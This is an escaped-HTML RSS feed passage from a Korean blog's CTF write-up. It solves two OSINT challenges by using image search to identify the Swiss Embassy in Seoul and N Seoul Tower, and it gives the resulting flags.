&lt;p data-ke-size=&quot;size16&quot;&gt;이제 문제에서 말한 특별한 빌딩을 이 주변에서 찾아보면 주한스위스대사관 인 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1828&quot; data-origin-height=&quot;1290&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvXlkt/btrRJOVWwpV/eqmkV2lekfC3mKBedkXkNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvXlkt/btrRJOVWwpV/eqmkV2lekfC3mKBedkXkNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvXlkt/btrRJOVWwpV/eqmkV2lekfC3mKBedkXkNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvXlkt%2FbtrRJOVWwpV%2FeqmkV2lekfC3mKBedkXkNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;594&quot; height=&quot;419&quot; data-origin-width=&quot;1828&quot; data-origin-height=&quot;1290&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주한 스위스 대사관을 구글에 검색해보면, &quot;Embassy of Switzerland&quot;인 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2860&quot; data-origin-height=&quot;1168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b73eeg/btrRH6P2F2W/jPx4WXyxQxqnv76BDRRrWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b73eeg/btrRH6P2F2W/jPx4WXyxQxqnv76BDRRrWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b73eeg/btrRH6P2F2W/jPx4WXyxQxqnv76BDRRrWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb73eeg%2FbtrRH6P2F2W%2FjPx4WXyxQxqnv76BDRRrWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;826&quot; height=&quot;337&quot; data-origin-width=&quot;2860&quot; data-origin-height=&quot;1168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 flag는 &lt;b&gt;DOCTF{embassy_of_switzerland}&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;8. Taking&amp;nbsp;altitude&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막 문제이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제는 문제사진을 보고 무슨 랜드마크인지 맞추는 문제이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2134&quot; data-origin-height=&quot;658&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdr6rL/btrRMaYszor/2hhFKkX8tdq2YKt2ziNwp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdr6rL/btrRMaYszor/2hhFKkX8tdq2YKt2ziNwp1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdr6rL/btrRMaYszor/2hhFKkX8tdq2YKt2ziNwp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcdr6rL%2FbtrRMaYszor%2F2hhFKkX8tdq2YKt2ziNwp1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2134&quot; height=&quot;658&quot; data-origin-width=&quot;2134&quot; data-origin-height=&quot;658&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제사진을 살펴보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3280&quot; data-origin-height=&quot;1476&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btWrnK/btrRMEx72Xh/VVBMZ48Y0IOlfJM3CmJKu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btWrnK/btrRMEx72Xh/VVBMZ48Y0IOlfJM3CmJKu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btWrnK/btrRMEx72Xh/VVBMZ48Y0IOlfJM3CmJKu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtWrnK%2FbtrRMEx72Xh%2FVVBMZ48Y0IOlfJM3CmJKu1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3280&quot; height=&quot;1476&quot; data-origin-width=&quot;3280&quot; data-origin-height=&quot;1476&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 사진을 구글 이미지 검색으로 어디인지 찾아보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;1332&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lE0G7/btrRMuP6tYB/lD5wsX4QHBw1iADsM31n6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lE0G7/btrRMuP6tYB/lD5wsX4QHBw1iADsM31n6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lE0G7/btrRMuP6tYB/lD5wsX4QHBw1iADsM31n6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlE0G7%2FbtrRMuP6tYB%2FlD5wsX4QHBw1iADsM31n6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;810&quot; height=&quot;375&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;1332&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 검색을 통해서 이 표지판은 남산 서울 타워의 것임을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막 flag는 &lt;b&gt;DOCTF{n_seoul_tower}&lt;/b&gt;이다.&lt;/p&gt;</description>
      <category>CTFs</category>
      <author>HackHiJack</author>
      <guid isPermaLink="true">https://hackhijack64.tistory.com/92</guid>
      <comments>https://hackhijack64.tistory.com/92#entry92comment</comments>
      <pubDate>Mon, 21 Nov 2022 22:32:26 +0900</pubDate>
    </item>
  </channel>
</rss>